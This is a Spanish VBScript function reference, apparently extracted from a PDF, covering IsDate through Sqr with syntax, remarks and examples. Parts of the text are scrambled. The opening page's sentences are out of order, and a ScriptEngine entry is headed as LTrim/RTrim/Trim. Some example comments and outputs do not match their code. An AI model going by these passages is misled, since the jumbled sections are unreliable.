el intervalo válido de fechas es desde el 1 de enero del año 100 hasta el 31 de diciembre del año 9999. Función IsDate Descripción Devuelve un valor de tipo Boolean que indica si una expresión se puede o no convertir en una fecha. IsArray es especialmente útil con datos de tipo Variant que contienen matrices.byethost14. SuFecha. Comentarios IsDate devuelve True si la expresión es una fecha o si se puede convertir en una fecha válida. El siguiente ejemplo usa la función IsDate para determinar si una expresión se puede o no convertir en una fecha: Dim MiFecha. Función IsEmpty Descripción Devuelve un valor de tipo Boolean que indica si una variable está iniciada. De lo contrario. En Microsoft Windows. El siguiente ejemplo usa la función IsArray para verificar si MiVariable es una matriz: Dim MiVariable Dim MiMatriz(3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiVariable = IsArray(MiMatriz) ' MiVariable contiene "True".idat. De lo contrario. Sintaxis IsDate(expresión) El argumento expresión puede ser cualquier expresión de fecha o expresión de cadena reconocible como fecha u hora. MiComprobacion MiFecha = "October 19. MiComprobacion = IsDate(SuFecha) ' Devuelve True. MiComprobacion = IsDate(NingunaFecha) ' Devuelve False. 1962": SuFecha = #10/19/62#: NingunaFecha = "Hola" MiComprobacion = IsDate(MiFecha) ' Devuelve True. Comentarios IsArray devuelve True si la variable es una matriz. los intervalos varían según el sistema operativo. devuelve False. NingunaFecha. Sintaxis IsEmpty(expresión) By KarlosVid(ÊÇ) www. devuelve False.IsArray(nombredevariable) El argumento nombredevariable puede ser cualquier variable.com 42 .

explícitamente. Tampoco es igual que una cadena de longitud cero (""). Sintaxis IsNull(expresión) El argumento expresión puede ser cualquier expresión. Esto se debe a que cualquier expresión que contiene Null es igual a Null y es. MiComprobacion = IsEmpty(MiVar) ' Devuelve False. siempre son iguales a False. Expresiones que bajo algunas circunstancias esperaría que fuesen igual a True. a Empty. si contiene datos no válidos. MiComprobacion MiComprobacion = IsNull(MiVar) ' Devuelve False. como IsEmpty se usa para determinar si están iniciadas variables individuales. El siguiente ejemplo usa la función IsNull para determinar si una variable contiene Null: Dim MiVar.El argumento expresión puede ser cualquier expresión. El siguiente ejemplo usa la función IsEmpty para determinar si una variable está iniciada: Dim MiVar. que indica que una variable aún no está iniciada. De lo contrario. Siempre se devuelve False si expresión contiene más de una variable. es decir. MiVar = Empty ' Asigna Empty. El valor Null indica que la variable contiene datos no válidos. Null no es igual que Empty. Comentarios IsNull devuelve True si expresión es Null. IsNull devuelve False.com 43 . Null en cualquier variable hace que se devuelva True para la expresión completa. como If Var = Null o If Var <> Null. MiComprobacion = IsNull(MiVar) ' Devuelve False.byethost14. MiVar = Null ' Asigna Null. igual a False.idat. Comentarios IsEmpty devuelve True si la variable no está iniciada o si está establecida. MiVar = Null ' Asigna Null. De lo contrario. MiComprobacion MiComprobacion = IsEmpty(MiVar) ' Devuelve True. MiVar = Empty ' Asigna Empty. MiComprobacion = IsEmpty(MiVar) ' Devuelve True. Si expresión consta de más de una variable. MiComprobacion = IsNull(MiVar) ' Devuelve True. también conocida como cadena nula. Función IsNull Descripción Devuelve un valor de tipo Boolean que indica si una expresión contiene o no datos válidos (Null). devuelve False. Importante Use la función IsNull para determinar si una expresión contiene o no un valor Null. Sin embargo. con frecuencia el argumento expresión es un único nombre de variable. Función IsNumeric By KarlosVid(ÊÇ) www. por lo tanto.

IsNumeric devuelve False si expresión es una expresión de fecha. De lo contrario. Comentarios IsObject devuelve True si expresión es una variable del subtipo Object o un objeto definido por el usuario. MiVar = "459. devuelve False. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiComprobacion. Sintaxis IsNumeric(expresión) El argumento expresión puede ser cualquier expresión. devuelve False. MiComprobacion MiVar = 53 ' Asigna un valor.byethost14. Comentarios IsNumeric devuelve True si toda la expresión se reconoce como un número. MiVar = "45 Help" ' Asigna un valor. El siguiente ejemplo usa la función IsNumeric para determinar si una variable se puede evaluar como un número: Dim MiVar.com 44 . Función IsObject Descripción Devuelve un valor de tipo Boolean que indica si una expresión hace referencia a un objeto de Automatización válido. El siguiente ejemplo usa la función IsObject para determinar si un identificador representa una variable de objeto: Dim MiEntero. Función Join Descripción By KarlosVid(ÊÇ) www. MiComprobacion = IsObject(MiEntero) ' Devuelve False.idat. Sintaxis IsObject(expresión) El argumento expresión puede ser cualquier expresión. De lo contrario. MiComprobacion = IsNumeric(MiVar) ' Devuelve False.95" ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiObjeto Set MiObjeto = Me MiComprobacion = IsObject(MiObjeto) ' Devuelve True.Descripción Devuelve un valor de tipo Boolean que indica si una expresión se puede evaluar como un número.

Sintaxis Join(lista[. El límite inferior para cualquier dimensión siempre es 0. Función LCase By KarlosVid(ÊÇ) www. Comentarios La función LBound se usa con la función UBound para determinar el tamaño de una matriz. 2 para la segunda y así sucesivamente. Carácter de cadena que se usa para separar las subcadenas de la cadena devuelta.byethost14. Si delimitador es una cadena de longitud cero. delimitador Opcional.com 45 . Luis Guillermo Romero". Use 1 para la primera dimensión. Si se omite dimensión. Función LBound Descripción Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz. se concatenan todos los elementos de la lista sin ningún delimitador. que cumple con las convenciones estándar de asignación de nombres de variables.Devuelve una cadena creada mediante la unión de varias subcadenas contenidas en una matriz. Use la función UBound para buscar el límite superior de una dimensión de una matriz. delimitador]) La sintaxis de la función Join tiene las siguientes partes: Parte lista Descripción Requerido. se asume 1. Matriz unidimensional que contiene las subcadenas que se van a unir.idat. dimensión Número entero que indica de qué dimensión se devuelve el límite inferior. Comentarios El siguiente ejemplo usa la función Join para unir las subcadenas de MiMatriz: Dim MiCadena Dim MiMatriz(4) MiMatriz(0) = "Sr. dimensión]) La sintaxis de la función LBound tiene las siguientes partes: Parte Descripción nombredematriz Nombre de la variable de matriz. Si se omite se usa el carácter de espacio (" ")." MiMatriz(1) = "Luis " MiMatriz(2) = "Gullermo " MiMatriz(3) = "Romero " MiCadena = Join(MiMatriz) ' MiCadena contiene "Sr. Sintaxis LBound(nombredematriz[.

se devuelve Null. longitud) La sintaxis de la función Left tiene los siguientes argumentos: Parte cadena Descripción Expresión de cadena a partir de la que se devuelven los caracteres que están más a la izquierda. 3) ' CadenaIzquierda contiene "VBS". By KarlosVid(ÊÇ) www. El siguiente ejemplo usa la función LCase para convertir letras mayúsculas en minúsculas: Dim MiCadena Dim LCaseString MiCadena = "VBSCript" LCaseString = LCase(MiCadena) ' LCaseString contiene "vbscript". En lugar de especificar el número de caracteres que se van a devolver. longitud especifica el número de bytes.idat. use la función Len. Si cadena contiene Null. Sintaxis LCase(cadena) El argumento cadena es cualquier expresión de cadena válida. se devuelve la cadena completa.byethost14. Nota La función LeftB se usa con los datos de Byte contenidos en una cadena. El siguiente ejemplo usa la función Left para devolver los primeros tres caracteres de MiCadena: Dim MiCadena. se devuelve una cadena de longitud cero (""). Sintaxis Left(cadena. se devuelve Null. Si es igual a 0. Comentarios Para determinar el número de caracteres que contiene cadena. Si es mayor o igual al número de caracteres de cadena. Comentarios Sólo se convierten a minúsculas las letras en mayúsculas. Si cadena contiene Null. longitud Expresión numérica que indica cuántos caracteres se van a devolver. Función Left Descripción Devuelve un número de caracteres especificado a partir del lado izquierdo de una cadena.Descripción Devuelve una cadena convertida a minúsculas.com 46 . CadenaIzquierda MiCadena = "VBSCript" CadenaIzquierda = Left(MiCadena. todas las letras en minúsculas y caracteres que no son letras no cambian.

com 47 . se devuelve Null. Función Log By KarlosVid(ÊÇ) www. Cualquier nombre de variable válido. archivos cifrados de longitud continua (. Sintaxis Len(cadena | nombredevariable) La sintaxis de la función Len tiene las siguientes partes: Parte cadena nombredevariable Descripción Cualquier expresión de cadena válida.rle). archivos GIF (. Si cadena contiene Null. Sólo está disponible en plataformas de 32 bits.jpg). Nota La función LenB se usa con los datos de byte contenidos en una cadena. Sintaxis LoadPicture(nombredeimagen) El argumento nombredeimagen es una expresión de cadena que indica el nombre del archivo de imagen que se va a cargar.ico). Si nombrevariable contiene Null. En lugar de devolver un número de caracteres en una cadena.gif) y archivos JPEG (. se devuelve Null.byethost14.emf). Comentarios Los formatos gráficos reconocidos por LoadPicture incluyen archivos de mapa de bits (.bmp). metaarchivos (. LenB devuelve el número de bytes usados para representar dicha cadena. metaarchivos mejorados (. archivos de iconos (.idat. Comentarios En el siguiente ejemplo se usa la función Len para devolver el número de caracteres que contiene una cadena: Dim MiCadena MiCadena = Len("VBSCRIPT") ' MiCadena contiene 8.wmf).Función Len Descripción Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable. Función LoadPicture Descripción Devuelve un objeto de imagen.

Sintaxis Log(número) El argumento número puede ser cualquier expresión numérica válida mayor que 0.718282. Si cadena contiene Null. RTrim y Trim para recortar espacios iniciales. se devuelve Null. espacios finales (RTrim) o ambos (Trim).Descripción Devuelve el logaritmo natural de un número. respectivamente: Dim MiVar MiVar = LTrim(" vbscript ") ' MiVar contiene "vbscript ".idat.byethost14. Comentarios El logaritmo natural es el logaritmo base e. MiVar = Trim(" vbscript ") ' MiVar contiene "vbscript". espacios finales y ambos. Sintaxis LTrim(cadena) RTrim(cadena) Trim(cadena) El argumento cadena es cualquier expresión de cadena válida. Comentarios Los siguientes ejemplos usan las funciones LTrim.com 48 . La constante e es aproximadamente igual a 2. MiVar = RTrim(" vbscript ") ' MiVar contiene " vbscript". RTrim y Trim Descripción Devuelve una copia de una cadena sin espacios iniciales (LTrim). By KarlosVid(ÊÇ) www. Función Mid Descripción Devuelve un números especificado de caracteres a partir de una cadena. Puede calcular logaritmos base n de cualquier número x si divide el logaritmo natural de x por el logaritmo natural de n como se muestra a continuación: Logn(x) = Log(x) / Log(n) El siguiente ejemplo muestra una función personalizada que calcula logaritmos base 10: Function Log10(X) Log10 = Log(X) / Log(10) End Function Funciones LTrim.

Sintaxis By KarlosVid(ÊÇ) www. longitud Número de caracteres que se va a devolver. que representa el minuto de la hora. comenzando en el cuarto carácter. Si inicio es mayor que el número de caracteres que hay en cadena. se devuelve Null. Si se omite o si hay menos caracteres que longitud en el texto (incluido el carácter que está en la posición inicio). Función Minute Descripción Devuelve un número entero entre 0 y 59. Comentarios Para determinar el número de caracteres que hay en cadena. Si hora contiene Null.idat. 4. Posición de carácter en cadena en la que comienza la parte que se va a obtener. se devuelven todos los caracteres desde la posición inicio hasta el final de la cadena.byethost14. inicio[. longitud]) La sintaxis de la función Mid tiene los siguientes argumentos: Parte cadena inicio Descripción Expresión de cadena a partir de la que se devuelven los caracteres. Mid devuelve una cadena de longitud cero (""). use la función Len. que representa el mes del año. Sintaxis Minute(hora) El argumento hora es cualquier expresión que puede representar una hora. En lugar de especificar el número de caracteres.com 49 . Comentarios El siguiente ejemplo usa la función Minute para devolver el minuto de la hora: Dim MiVar MiVar = Minute(Now) Función Month Descripción Devuelve un número entero entre 1 y 12. 6) ' MiVar contiene "Script". en una cadena: Dim MiVar MiVar = Mid("VB Script es divertido".Sintaxis Mid(cadena. El siguiente ejemplo usa la función Mid para devolver seis caracteres. Si cadena contiene Null. ambos incluidos. se devuelve Null. ambos incluidos. Nota La función MidB se usa con los datos de byte contenidos en una cadena. los argumentos especifican el número de bytes.

True) ' MiVar contiene "Oct". que significa que el nombre del mes no se debe abreviar. La designación numérica del mes. Función MsgBox Descripción Muestra un mensaje en un cuadro de diálogo. Si fecha contien Null.byethost14. abreviar]) La sintaxis de la función MonthName tiene las siguientes partes: Parte mes abreviar Descripción Requerido. Función MonthName Descripción Devuelve una cadena que indica el mes especificado.com 50 . Comentarios El siguiente ejemplo usa la función MonthName para devolver un nombre de mes abreviado para una expresión de fecha: Dim MiVar MiVar = MonthName(10. Sintaxis MonthName(mes[. título][. enero es 1. By KarlosVid(ÊÇ) www.Month(fecha) El argumento fecha es cualquier expresión que pueda representar una fecha. La longitud máxima de solicitud es aproximadamente igual a 1024 caracteres. espera a que el usuario haga clic en un botón y devuelve un valor que indica en qué botón hizo clic el usuario. Opcional. botones][. se devuelve Null. Valor de tipo Boolean que indica si el nombre del mes se debe abreviar. Sintaxis MsgBox(solicitud[. el valor predeterminado es False. según el ancho de los caracteres usados. Si se omite. Por ejemplo. archivodeayuda. contexto]) La sintaxis de la función MsgBox tiene los siguientes argumentos: Parte solicitud Descripción Expresión de cadena que se muestra como mensaje en el cuadro de diálogo. Comentarios El siguiente ejemplo usa la función Mes para devolver el mes actual: Dim MiVar MiVar = Month(Now) ' MiVar contiene el número correspondiente ' al mes actual. febrero es 2 y así sucesivamente.idat.

puede seperar las líneas con un carácter de retorno de carro (Chr(13)). Muestra el icono de mensaje crítico. Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Muestra los botones Anular. Muestra los botones Sí y No. 4096) determina el modo del cuadro de mensaje. Si omite título. Valores devueltos La función MsgBox devuelve los siguientes valores: By KarlosVid(ÊÇ) www.Si solicitud consta de más de una línea. Muestra los botones Reintentar y Cancelar. El tercer botón es el botón predeterminado. Reintentar e Ignorar. 256. 32.com 51 . el usuario debe responder al cuadro de mensaje antes de seguir trabajando en la aplicación actual. 64) describe el estilo de iconos.idat. 48. el tercer grupo (0. Aplicación modal. El primer grupo de valores (0 a 5) describe el número y el tipo de botones mostrados en el cuadro de diálogo. 512. Al sumar números para crear un valor final para el argumento botones. muestra los botones Sí. botones Expresión numérica que es igual a la suma de los valores que especifican la cantidad y el tipo de botones que se van a mostrar. también se debe proporcionar archivodeayuda. todas las aplicaciones se suspenden hasta que el usuario responde al cuadro de mensaje. el estilo de icono que se va a usar. también se debe proporcionar contexto. Muestra el icono de mensaje de advertencia. título archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. El primer botón es el botón predeterminado. No y Cancelar. contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. Si se omite. Si se proporciona archivodeayuda. use sólo un número de cada grupo. la identidad del botón predeterminado y el modo de cuadro de diálogo. Consulte la sección Valores para saber cuáles son los valores permitidos. Muestra los botones Aceptar y Cancelar.byethost14. el segundo grupo (16. Si se proporciona contexto. Sistema modal. Muestra el icono de mensaje de información. No está disponible en plataformas de 16 bits. Valores Los valores del argumento botones son: Constante vbOKOnly vbOKCancel vbAbortRetryIgnore vbYesNoCancel vbYesNo vbRetryCancel vbCritical vbQuestion vbExclamation vbInformation vbDefaultButton1 vbDefaultButton2 vbDefaultButton3 vbDefaultButton4 vbApplicationModal vbSystemModal Valor Descripción 0 1 2 3 4 5 16 32 48 64 0 256 512 768 0 4096 Sólo muestra el botón Aceptar. El segundo botón es el botón predeterminado. el nombre de la aplicación aparece en la barra de título. No está disponible en plataformas de 16 bits. Muestra el icono de consulta de advertencia. 768) determina cuál es el botón predeterminado y el cuarto grupo (0. El cuarto botón es el botón predeterminado. el valor predeterminado de botones es 0. un carácter de avance de línea (Chr(10)) o la combinación de caracteres de retorno de carro y avance de línea (Chr(13) y Chr(10)) entre cada línea.

byethost14. el usuario puede presionar F1 para ver el tema de Ayuda que corresponde al contexto. Sintaxis By KarlosVid(ÊÇ) www. no se devuelve ningún valor hasta que no se presiona cualquiera de los otros botones. ' según el botón en el que se haga ' clic.idat. Sintaxis Now Comentarios El siguiente ejemplo usa la función Now para devolver la fecha y hora actuales: Dim MiVar MiVar = Now ' MiVar contiene la fecha y hora actuales. "Ejemplo de MsgBox")' MiVar contiene 1 o 2. se proporcionar Ayuda contextual para el cuadro de diálogo. Función Oct Descripción Devuelve una cadena que representa el valor octal de un número. 65. Función Now Descripción Devuelve la fecha y hora actuales según la configuración de la fecha y hora de su sistema.Constante vbOK vbCancel vbAbort vbRetry vbIgnore vbYes vbNo Valor Botón 1 2 3 4 5 6 7 Aceptar Cancelar Anular Reintentar Ignorar Sí No Comentarios Cuando se proporcionan archivodeayuda y contexto. si presiona la tecla ESC tiene el mismo efecto que si hace clic en Cancelar.com 52 . Si el cuadro de diálogo contiene un botón Ayuda. Sin embargo. Si el cuadro de diálog muestra un botón Cancelar. El siguiente ejemplo usa la función MsgBox para mostrar un cuadro de mensaje y devolver un valor que describe qué botón se presionó: Dim MiVar MiVar = MsgBox ("Hola mundo".

inicio cuenta Opcional. comparación]]]) La sintaxis de la función Replace tiene las siguientes partes: Parte expresión buscar Descripción Requerido.Oct(número) El argumento número es cualquier expresión válida. el valor predeterminado es 0. Función Replace Descripción Devuelve una cadena en la que una subcadena especificada se reemplazó por otra subcadena un número de veces especificado. Sintaxis Replace(expresión. ' Devuelve 10. que significa que deben hacer todas las sustituciones posibles. reemplazarcon Requerido. Hasta 11 caracteres octales. Comentarios Si número no es un número entero. Opcional. cuenta[. Si número es Null Empty Cualquier otro número Oct devuelve Null. Se debe usar junto con inicio. Se debe usar junto con cuenta. Cero (0). Posición dentro de expresión donde debe comenzar la búsqueda de la subcadena. comparación Valores El argumento comparación puede tener los siguientes valores: By KarlosVid(ÊÇ) www. Por ejemplo.idat. Subcadena que se va a buscar.com 53 . Si se omite. Opcional. Requerido. El siguiente ejemplo usa la función Oct para devolver el valor octal de un número: Dim MiOct MiOct = Oct(4) ' Devuelve 4. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. precediendo los números del intervalo adecuado con &O. Subcadena de reemplazo. &O10 es la notación octal para el número 8 decimal. que significa que se debe realizar una comparación binaria. Número de sustituciones de subcadenas que se van a realizar. se asume 1. inicio[. MiOct = Oct(8) MiOct = Oct(459) ' Devuelve 713. el valor predeterminado es -1. reemplazarcon[. se redondea al número entero más cercano antes de evaluarlo. buscar. Si se omite. Puede representar números octales directamente. Consulte la sección Valores para saber cuáles son los valores permitidos.byethost14.Expresión de cadena que contiene la subcadena que se va a reemplazar. Si se omite.

Comentarios El valor devuelto por la función Replace es una cadena. Requerido. Un error. Copia de expresión. verde. "Y". "p". Una copia de expresión con todas las coincidencias de buscar quitadas.byethost14. Realiza una comparación de texto. con las sustituciones hechas. azul) La función RGB tiene las siguientes partes: Parte rojo verde azul Descripción Requerido.idat. El siguiente ejemplo usa la función Replace para devolver una cadena: Dim MiCadena MiCadena = Replace("XXpXXPXXp". Comentarios By KarlosVid(ÊÇ) www. -1. Devuelve "XXYXXPXXY". Una copia de expresión. que comienza en la posición especificada por inicio y termina al final de la cadena expresión. ' Devuelve "YXXYXXY". ' Una comparación de texto que comienza en la posición 3.com 54 . No es una copia de la cadena original desde el inicio hasta el final. 1) Función RGB Descripción Devuelve un número entero que representa un valor de un color RGB. Sintaxis RGB(rojo. Número en el intervalo entre 0 y 255 que representa el componente azul del color. Número en el intervalo entre 0 y 255 que representa el componente verde del color. Valores devueltos Replace devuelve los siguientes valores: Si expresión es de longitud cero expresión es Null buscar es de longitud cero reemplazarcon es de longitud cero inicio > Len(expresión) cuenta is 0 Replace devuelve Cadena de longitud cero (""). 3. MiCadena = Replace("XXpXXPXXp". Requerido. "Y") ' Una comparación binaria ' que comienza en el principio de la cadena. Número en el intervalo entre 0 y 255 que representa el componente rojo del color.Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria. "p". Cadena de longitud cero.

Nota La función RightB se usa con los datos de byte contenidos en una cadena. azul) InvertirRGB= CLng(azul + (verde * 256) + (rojo * 65536)) End Function Se asume que el valor de cualquier argumento RGB que exceda 255. 1) ' Devuelve "o". Si es igual a 0. se devuelve Null.com 55 . 6) ' Devuelve " todos". longitud especifica el número de bytes. El byte menos significativo contiene el valor del rojo. Comentarios Para determinar el número de caracteres que hay en cadena. verde. Sintaxis Right(cadena. En lugar de especificar el número de caracteres que se deben devolver. MiCad = Right(CualquierCadena. El siguiente ejemplo usa la función Right para devolver un número especificado de caracteres a partir del lado derecho de una cadena: Dim CualquierCadena. MiCad CualquierCadena = "Hola a todos" ' Define la cadena. MiCad = Right(CualquierCadena. Si cadena contiene Null. Para aplicaciones que requieren que el orden de los bytes se invierta. la siguiente función proporcion la misma información con los bytes invertidos: Function InvertirRGB(rojo. Función Rnd Descripción By KarlosVid(ÊÇ) www. Si es mayor o igual al número de caracteres que hay en cadena. 20) ' Devuelve "Hola a todos". use la función Len. el byte del medio contiene el valor del verde y el byte más significativo contiene el valor del azul. es 255. se devuelve una cadena de longitud cero.Los métodos y propiedades de aplicaciones que aceptan una especificación de color esperan que la especificación sea un número que represente un valor de un color RGB.idat. Función Right Descripción Devuelve un número de caracteres especificado a partir del lado derecho de una cadena. longitud) La sintaxis de la función Right tiene los siguientes argumentos: Parte cadena Descripción Expresión de cadena desde la que se devuelven los caracteres que están más a la derecha. MiCad = Right(CualquierCadena. verde y azul para producir la visualización de un color específico. Un valor de un color RGB especifica la intensidad relativa de rojo.byethost14. se devuelve toda la cadena. longitud Expresión numérica que indica cuántos caracteres se van a devolver.

Devuelve un número aleatorio. Número que indica cuántas posiciones a la derecha del decimal se incluyen en el redondeo. Comentarios La función Rnd devuelve un valor menor que 1 pero mayor o igual a 0. la función Round devuelve enteros. Sintaxis Rnd[(número)] El argumento número puede ser cualquier expresión numérica válida.byethost14.idat. Para cualquier semilla inicial proporcionada. se genera la misma secuencia de números porque cada llamada sucesiva a la función Rnd usa el número anterior como semilla para el siguiente número de la secuencia. El siguiente número aleatorio de la secuencia. El valor de número determina cómo Rnd genera un número aleatorio: Si número es Menor que cero Mayor que cero Igual a cero No suministrado Rnd genera El mismo número cada vez. Expresión numérica que se va a redondear. llame a Rnd con un número negativo como argumento. Si usa Randomize con el mismo valor para número no se repite la secuencia anterior.límiteinferior + 1) * Rnd + límiteinferior) Aquí. inmediatamente antes de usar Randomize con un argumento numérico.com 56 . use la instrucción Randomize sin ningún argumento para iniciar el generador de números aleatorios con una semilla basada en el reloj del sistema. El siguiente número aleatorio de la secuencia. Antes de llamar a Rnd. use esta fórmula: Int((límitesuperior . con número como semilla. El último número generado. posicionesdecimales Opcional. Nota Para repetir secuencias de números aleatorios. Sintaxis Round(expresión[. Para producir enteros aleatorios dentro de un intervalo específico. Si se omite. límitesuperior es el número más alto del intervalo y límiteinferior es el número más bajo del intervalo. Función Round Descripción Devuelve un número redondeado a un número especificado de posiciones decimales. By KarlosVid(ÊÇ) www. posicionesdecimales]) La sintaxis de la función Round tiene las siguientes partes: Parte expresión Descripción Requerido.

s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & ". Comentarios El siguiente ejemplo usa la función ScriptEngine para devolver una cadena que describe el lenguaje de secuencias de comandos que se está usando: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Genera una cadena con la información necesaria. Sintaxis ScriptEngineBuildVersion Comentarios El valor devuelto corresponde directamente a la información de versión contenida en la DLL del lenguaje de secuencias de comandos que se está usando.14. By KarlosVid(ÊÇ) www.com 57 . End Function Función ScriptEngineBuildVersion Descripción Devuelve el número de versión de build del motor de secuencias de comandos que se está usando.Comentarios El siguiente ejemplo usa la función Round para redondear un número a dos posiciones decimales: Dim MiVar. Funciones LTrim. RTrim y Trim Descripción Devuelve una cadena que representa el lenguaje de secuencias de comandos que se está usando. Indica que el motor de secuencias de comandos actual es Microsoft Visual Basic for Applications. Sintaxis ScriptEngine Valores devueltos La función ScriptEngine puede devolver cualquiera de las siguientes cadenas: Cadena VBScript JScript VBA Descripción Indica que el motor de secuencias de comandos actual es Microsoft® Visual Basic® Scripting Edition." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. pi pi = 3.14159 MiVar = Round(pi. 2) ' MiVar contiene 3.idat.byethost14." s = s & ScriptEngineMinorVersion & ". Indica que el motor de secuencias de comandos actual es Microsoft JScript®.

s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & ". El siguiente ejemplo usa la función ScriptEngineMajorVersion para devolver el número de versión del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria.idat. Sintaxis ScriptEngineMajorVersion Comentarios El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando.El siguiente ejemplo usa la función ScriptEngineBuildVersion para devolver el número de versión de build del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & ". End Function ScriptEngineMajorVersion Función ScriptEngineMajorVersion Descripción Devuelve el número de versión principal del motor de secuencias de comandos que se está usando.byethost14." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineMinorVersion & ".com 58 . Sintaxis ScriptEngineMinorVersion Comentarios El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando. End Function Función ScriptEngineMinorVersion Descripción Devuelve el número de versión secundaria del motor de secuencias de comandos que se está usando. By KarlosVid(ÊÇ) www.

Función Sgn Descripción Devuelve un entero que indica el signo de un número. Comentarios El siguiente ejemplo usa la función Second para devolver el segundo actual: Dim MiSeg MiSeg = Second(Now) ' MiSeg contiene el número que representa el segundo actual. Valores devueltos La función Sgn devuelve los siguientes valores: Si número es Mayor que cero Igual a cero Menor que cero Sgn devuelve 1 0 -1 Comentarios By KarlosVid(ÊÇ) www. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & ".idat.El siguiente ejemplo usa la función ScriptEngineMinorVersion para devolver el número de versión secundaria del motor de secuencias de comandos: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria.com 59 . Si hora contiene Null. End Function Función Second Descripción Devuelve un número entero entre 0 y 59.byethost14. Sintaxis Second(hora) El argumento hora es cualquier expresión que pueda representar una hora." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados." s = s & ScriptEngineMinorVersion & ". Sintaxis Sgn(número) El argumento número puede ser cualquier expresión numérica válida. se devuelve Null. ambos incluidos. que representa el segundo del minuto.

byethost14. El siguiente ejemplo usa la función Sgn para determinar el signo de un número: Dim MiVar1. By KarlosVid(ÊÇ) www. MiCosecante = 1 / Sin(MiAngulo) ' Calcula la cosecante. multiplique los radianes por 180/pi. MiSigno = Sgn(MiVar2) ' Devuelve -1. MiCosecante MiAngulo = 1. MiSigno MiVar1 = 12: MiVar2 = -2.idat. MiSigno = Sgn(MiVar3) ' Devuelve 0. MiVar3. Para convertir grados en radianes. multiplique los grados por pi/180. Comentarios La función Sin recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo.4: MiVar3 = 0 MiSigno = Sgn(MiVar1) ' Devuelve 1. MiCadena = "Hola" & Space(10) & "mundo" ' Inserta 10 espacios entre las dos cadenas. Para convertir radianes en grados. Comentarios El siguiente ejemplo usa la función Space para devolver una cadena que consta de un número de espacios especificado: Dim MiCadena MiCadena = Space(10) ' Devuelve una cadena con 10 espacios.El signo del argumento número determina el valor devuelto de la función Sgn. Sintaxis Sin(número) El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.3 ' Define un ángulo en radianes. Sintaxis Space(número) El argumento número es el número de espacios que desea en la cadena. Función Función Sin Descripción Devuelve el seno de un ángulo. El resultado está dentro del intervalo desde -1 hasta 1. MiVar2. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud de la hipotenusa.com 60 . Función Space Descripción Devuelve una cadena que consta del número de espacios especificado. El siguiente ejemplo usa la función Sin para devolver el seno de un ángulo: Dim MiAngulo.

"x". La función realiza una comparación de texto del delimitador y devuelve todas las subcadenas. Dim MiCadena. Split devuelve una matriz vacía. cuenta comparación Opcional. ' MiCadena(2) contiene "divertido". Expresión de cadena que contiene las subcadenas y delimitadores. Función Sqr Descripción Devuelve la raíz cuadrada de un número. MiMatriz MiCadena = Split("VBScriptXisXfun!".Función Split Descripción Devuelve una matriz unidimensional. Sintaxis Split(expresión[. Sintaxis Sqr(número) By KarlosVid(ÊÇ) www. Si delimitador es una cadena de longitud cero. es decir. Opcional.byethost14. se asume que el carácter delimitador es el carácter de espacio (" "). una matriz sin elementos ni datos. Carácter de cadena que se usa para identificar los límites de las subcadenas. Opcional. Si expresión es una cadena de longitud cero. comparación]]]) La sintaxis de la función Split tiene las siguientes partes: Parte expresión delimitador Descripción Requerido. -1 indica que se devuelven todas las subcadenas. se devuelve una matriz de un solo elemento que contiene toda la expresión. que contiene un número especificado de subcadenas. Valores El argumento comparación puede tener los siguientes valores: Constante vbBinaryCompare vbTextCompare Valor 0 1 Descripción Realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los valores permitidos. delimitador[. Realiza una comparación de texto. cuenta[. 1) ' MiCadena(0) contiene "VBScript". ' MiCadena(1) contiene "es". Valor numérico que indica el tipo de comparación que se va a usar al evaluar las subcadenas. -1. basada en cero. número de subcadenas que se va a devolver.com 61 .idat. Si se omite. Comentarios El siguiente ejemplo usa la función Split para devolver una matriz a partir de una cadena.

